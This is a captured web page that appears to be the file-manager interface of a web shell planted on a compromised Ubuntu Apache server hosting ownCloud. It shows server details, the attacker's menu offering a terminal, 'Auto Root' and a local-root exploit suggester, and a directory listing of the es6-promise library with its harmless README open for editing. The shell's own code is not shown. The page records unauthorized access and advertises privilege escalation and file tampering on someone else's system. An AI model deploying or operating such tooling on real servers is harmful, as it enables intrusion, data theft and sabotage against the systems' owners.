Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
owncloud-prm /
core /
vendor /
es6-promise /
Delete
Unzip
Name
Size
Permission
Date
Action
config
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
dist
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
lib
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
server
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
.jshintrc
813
B
-rw-r--r--
2018-04-19 18:15
.npmignore
119
B
-rw-r--r--
2018-04-19 18:15
.release.json
478
B
-rw-r--r--
2018-04-19 18:15
.spmignore
119
B
-rw-r--r--
2018-04-19 18:15
.travis.yml
538
B
-rw-r--r--
2018-04-19 18:15
Brocfile.js
1.81
KB
-rw-r--r--
2018-04-19 18:15
CHANGELOG.md
123
B
-rw-r--r--
2018-04-19 18:15
LICENSE
1.07
KB
-rw-r--r--
2018-04-19 18:15
README.md
1.95
KB
-rw-r--r--
2018-04-19 18:15
Save
Rename
# ES6-Promise (subset of [rsvp.js](https://github.com/tildeio/rsvp.js)) This is a polyfill of the [ES6 Promise](http://people.mozilla.org/~jorendorff/es6-draft.html#sec-promise-constructor). The implementation is a subset of [rsvp.js](https://github.com/tildeio/rsvp.js), if you're wanting extra features and more debugging options, check out the [full library](https://github.com/tildeio/rsvp.js). For API details and how to use promises, see the <a href="http://www.html5rocks.com/en/tutorials/es6/promises/">JavaScript Promises HTML5Rocks article</a>. ## Downloads * [es6-promise](https://raw.githubusercontent.com/jakearchibald/es6-promise/master/dist/es6-promise.js) * [es6-promise-min](https://raw.githubusercontent.com/jakearchibald/es6-promise/master/dist/es6-promise.min.js) ## Node.js To install: ```sh npm install es6-promise ``` To use: ```js var Promise = require('es6-promise').Promise; ``` ## Usage in IE<9 `catch` is a reserved word in IE<9, meaning `promise.catch(func)` throws a syntax error. To work around this, you can use a string to access the property as shown in the following example. However, please remember that such technique is already provided by most common minifiers, making the resulting code safe for old browsers and production: ```js promise['catch'](function(err) { // ... }); ``` Or use `.then` instead: ```js promise.then(undefined, function(err) { // ... }); ``` ## Auto-polyfill To polyfill the global environment (either in Node or in the browser via CommonJS) use the following code snippet: ```js require('es6-promise').polyfill(); ``` Notice that we don't assign the result of `polyfill()` to any variable. The `polyfill()` method will patch the global environment (in this case to the `Promise` name) when called. ## Building & Testing * `npm run build` to build * `npm test` to run tests * `npm start` to run a build watcher, and webserver to test * `npm run test:server` for a testem test runner and watching builder